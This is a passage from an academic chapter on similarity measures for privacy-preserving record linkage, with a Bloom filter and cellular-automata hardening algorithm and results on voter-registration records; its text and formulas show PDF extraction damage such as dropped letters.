Tey are useful for comparing encoded records and identifying duplicate records across 
data sources. Not all of the similarity measures applicable in matching plaintext records 
are suitable for PPRL. Hence, the similarity measures or metrics need to be compatible in 
matching the encoded records. Te approximate matching adopts similarity measures for 
PPRL and can be categorized as follows: 

• Phonetic similarity measures 

• Edit-based similarity measures 

• Token-based similarity measures 

• Other and hybrid similarity measures 

13.2.2.1 Phonetic Similarity Techniques
 Te phonetic matching techniques take care of phonetic and typographical errors pres-
ent in the raw data for approximate matching in PPRL. Tey include Soundex, NYSIIS, 
Metaphone, Double Metaphone, and MetaSoundex, and they produce phonetic codes 
based on string values. T ey difer in their ways of generating the phonetic codes [18– 
22]. Te phonetic encoding performed on identifers of two respective parties results 
in phonetic codes, which can be further compared for indicating their match status. 
Te phonetic codes are encrypted by using secure hashing mechanisms such as SHA2-
256 and SHA3-512 or by using extra random codes and then sent for matching to the 
party performing record linkage. Te phonetic string comparator measures the simi-
larity between strings in the range [0, 1], where 0 denotes maximal dissimilarity and 1 
indicates equality. In other words, if the phonetic code for the identifers of respective 
data sets matches, then it is represented as 1, otherwise it is represented as 0. It has the 
property that it inherently provides encoding to the records to be utilized for match-
ing. But these techniques can result in false matches for certain strings in the encoded 
records for PPRL [23–27]. 

13.2.2.2 Edit-Based Similarity Measures
 Te edit-based similarity measures frst calculate distance d(a, b) using a set of operations 
like deletions, substitutions, and insertions to convert one string to another. T e similarity 
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distance can be represented as 0 to indicate that strings are completely unalike and 1 to 
represent strings that are completely alike. For instance, the edit distance similarity for two 
strings  a and  b is given by 

, | |b ) (13.2.2.2. 1) simedit distance (a, b) =1-d (a, b) / max ( a 

where max (|a |, |b|) indicates the maximum between length (a) and length (b). 
A smaller edit distance indicates higher similarity and can be normalized in the 

range 0–1.
 Te edit distance, or Levenshtein distance, is compatible with the embedding space 

PPRL technique. Te linking process involves the secure transformation of the data, 
called embedding, in which edit distances are calculated between actual and reference 
set data. Edit distance securely attempts the use of edit distance through the use of Bloom 
f lters. Each character of a matching feld is extracted, and afer its position in the string 
is appended, it is inserted in a Bloom flter with encryption using a secure hash function. 

 Te other edit-based similarities consist of variants of edit distance, such as longest 
common subsequence (LCS), Jaro and its variant, Hamming distance, and so on. T ese 
similarities have certain limitations for the encoding process of attribute values and are 
compatible with few PPRL mechanisms. 

 Te edit similarity involves a distance matrix calculation for each record pair in PPRL. 
However, the runtime of this approach becomes infeasible as the number of record pairs 
is quadratic with respect to the number of input records. Te edit distance similarity can 
handle typing errors well, but it may not be efective for other types of mismatches [21, 22]. 

13.2.2.3 Token-Based Similarity Measures 
Token-based similarity frst separates attribute values into sets or multisets of tokens or 
words and then uses set-related coefcients and properties to compute similarity scores. 
T e q-grams (or  n-grams) technique can divide strings or numerical values into subse-
quences of length q, where  q can take the values 1, 2, 3, and so on. Te idea behind q -grams 
(or  n-grams) is that similar attribute values, say  a and b, have many q-grams in common. 
Further, an approximation of their similarity can be calculated by using token-based mea-
sures like the Dice coef  cient:

 q-grams( )a U q-grams( )b 
simq(a, b) = 2 *  (13.2.2.3.1) q-grams( )a +  q-grams( )s b

  Te various token-based similarity metrics consist of the Jaccard coef  cient, Dice coef-
fcient, overlap coef  cient, simple coefcient, and cosine coef  cient. Te Dice coef  cient 
considers the common number of q-grams and average q-grams in two strings. T e over-
lap coef  cient fnds the  q-grams that are common across two strings and then divides by 
the number of q-grams in the longer string. Te Jaccard coefcient measures the number 
of tokens common in two sets divided by the total number of unique tokens. T e cosine 
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coef  cient fnds the dot product between strings represented as vectors. Te simple match-
ing coefcient counts similar tokens across two strings. 

In PPRL, the identifers are divided into  q-grams, each of the substrings in the set of 
q-grams is encrypted, and those encrypted substrings are also stored as part of the record. 

 Te tokens (q-grams) can be secured with cryptography techniques including hashing, 
Bloom f lter encryption, AES encryption and decryption, and many more cryptographic 
methods, and then matching is performed in PPRL. In this research, the Bloom f lter 
encryption is chosen to obfuscate records among data sets. T e q-grams can be encoded 
into the Bloom flter using secure hash functions. Further, the Bloom flter encodings are 
matched using token-based similarity. 

13.2.2.4 Other and Hybrid Similarity Measures 
 Te other similarity measures for approximate matching techniques in PPRL include 
Euclidean distance, TF-IDF (term frequency-inverse document frequency). Also, the 
hybrid similarity measures in PPRL consist of sof TF-IDF, Monge-Elkan, and the extended 
Jaccard coefcient [2, 6, 9]. 

 Tus, in this chapter, the various similarity measures compatible with PPRL have been 
identifed and discussed. Te phonetic and token-based similarities are more adaptable 
with PPRL techniques. Te phonetic techniques can result in a greater number of true 
matches, but they may produce false matches. Te token-based similarity can be employed 
with Bloom flter encryption to achieve acceptable accuracy in PPRL. Te Bloom f lter 
encryption and hardened CA-based PPRL involves the process of tokenizing identif ers 
into q-grams. Hence, in this research, the token-based similarity measures are applied for 
approximately matching the Bloom flter and CA-based encrypted data. 

Hence, the following section includes the similarity calculations for PPRL utilizing 
token-based metrics. 

13.3 SIMILARITY COMPUTATION FOR PPRL 
In this approach, the two parties involved in record linkage agree on the phonetic tech-
niques and the parameters for Bloom flter–based PPRL. Tese parameters consist of the 
length of the Bloom f lter, q-gram value, number of hash functions, and similarity measures. 
Te common identifers across the databases are identifed for encoding process in PPRL. 
Initially, the tokenization is applied on identifers containing person names, resulting in 
q -grams. Te hash functions such as SHA-256 and SHA-512 are applied on the generated 
q-grams to obtain the hash value. Te bit positions across the Bloom f lters of respective 
identifers are set to 1 according to the hash value. Te resultant encoding is hardened 
using the CA-based approach. Wolfram rule 90 is applied on the resultant encoding [13]. 
Later, the fnal Bloom flter encodings are compared using similarity metrics like the Dice 
coef  cient. Te similarity values are then checked against the user-defned threshold to 
determine the matched and non-matched records. 

 Te CA-based PPRL algorithm is discussed as follows: 
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• CA-PPRL 

Input: Database  Di containing records  ri with identif ers Ii, i < {1, 2, . . . N} and database 
Dj consisting of records  rj with identif ers Ij, j < {1, 2, . . .  N} 

Output: Matched records across  ri, rj 

Algorithm : CA-PPRL(Di, Dj) 

Begin 

Step 1: Every party selects the same identif ers Ii and  Ij and number of records  ri ε Di 
and  rj ε Dj, respectively, for PPRL. 

Step 2: Every party encodes records  ri and  rj with the hardened PPRL technique as 

For every identif er Ii ε Di and  Ij ε Dj, create  q -grams qi and  qj, where  q = 1, 2, . . .  n. 

For every  qi ε Ii and  qj ε Ij, encode  ri and  rj to generate Bloom f lters BFEi and BFEj. 

BFEi = (hi(qi) + i hj(qi) mod l)  (13.3.1) 

BFEj = (hi(qj) + j hj(qj) mod l)  (13.3.2) 

For each BFEi and BFEj, generate cellular automata (CA) Bloom f lter encodings 
CABFEi and CABFEj with Wolfram rule 90 and transformation  t. 

Step 3 : Te resultant hardened encodings CABFE i ε ri and CABFEj ε rj are sent to the 
party performing record matching. 

Step 4 : Te encodings  ri and  rj are compared using the similarity coef  cient to obtain 
similarity value sim(ri, rj): 

sim(ri, rj) = 2*  m /(|ri|+|rj |) (13.3.3)

 where |ri| and |rj| are the number of bits set in Bloom flter encodings for records  ri and  rj 
and  m is the number of common 1-bit bits in  ri and  rj , respectively. 

If sim(ri, rj) > threshold θ, 

ri, rj = match, 

otherwise 

ri, rj = non-match. 

Step 5 : Te matching status between  ri and rj is communicated to parties involved in 
PPRL. 

End 
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  TABLE 13.1  Token-Based Similarity Measures 
  Formula    Similarity measures  

 Overlap coeffi  cient UA B
min  A(  , |B |)

UA B

  | UA B|

2 *  
UA B

 Jaccard/Tanimoto coeffi  cient 

 Dice coeffi  cient 

 Simple matching coeffi  cient 
 Cosine coeffi  cient 

+A   B

 |A[[intersection]] B| 

UA B
A B  V *
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For illustration purposes, A = q -grams ( a ) and  B = q -grams ( b ). 

  Te amount of similarity between encoded records is then computed using token-based 
similarity coefcients, namely, the Jaccard coef  cient, overlap coef  cient, Dice coef  cient, 
simple matching coefcient, and cosine coefcient as represented in Table 13.1.  

  Te CA-based PPRL approach is utilized with diferent token-based similarity measures, 
and their impact on accuracy is discussed in the next section. 

13.4 RESULTS AND DISCUSSION 
 Te PPRL technique is essential to protect personal identifers during record matching. 
Te similarity measures are essential to compare the encoded records in PPRL. In this 
work, the various token-based similarity measures are tested for CA-based PPRL. 

 Te parameters considered for the CA-based PPRL are the following: 

• Length of Bloom flter l = 30

• q-grams = 2

• Number of hash functions = 2

• Padding = yes

• Number of transformations  t = 1

As an example, the voter registration data set (NCVR) containing three identif ers, f rst 
name, middle name, and last name, is considered for PPRL. Te initial experimentation 
for PPRL contains 200 records among the two databases. Token-based similarity is applied 
with the CA-based technique for PPRL. It is analyzed in terms of precision (P), recall (R), 
and f-measure (F ). Tey are def ned as 
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 (13.4.1) 

 (13.4.2) 

 (13.4.3) 

where, TP represents true positives, FP represents false positives, and FN represents false 
negatives. 

From  Table 13.2, we observe that the true positives are greater for the overlap coef  cient 
than for other token-based similarity measures. However, with the overlap coef  cient, false 
positives are observed and there is a smaller number of false negatives than with Dice, 
Jaccard, cosine, and simple matching coefcients in CA-based PPRL. 

Figure 13.3 indicates that the overlap coefcient has better recall and f-measure than 
other token-based similarity measures. But the Dice, Jaccard, cosine, and simple matching 
coefcients have better precision than the overlap coefcient with CA-based PPRL. 

TABLE 13.2 Analysis of Token-Based Similarity Measures for CA-Based PPRL 
  Factors/ similarity measures  TP FP FN P R F 

Dice coef  cient 9 0 14 100 39.13 56.25 
Overlap coef  cient  11 2 12 84.61 47.83 61.11 
Jaccard coef  cient  9 0 14 100 39.13 56.25 
Cosine coef  cient  9 0 14 100 39.13 56.25 
Simple matching coef  cient  9 0 14 100 39.13 56.25 

FIGURE 13.3 Accuracy analysis for similarity measures. 
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13.5 CONCLUSIONS 
 Te privacy-preserving record linkage is necessary to fnd the same person’s records in 
various databases. Tus, similarity measures play a signifcant role in accurately match-
ing records for data integration applications. In this chapter, diferent similarity measures 
useful for PPRL are identif ed. Te token-based similarity measures are suitable for Bloom 
flter encoding and the hardened CA-based PPRL techniques. 
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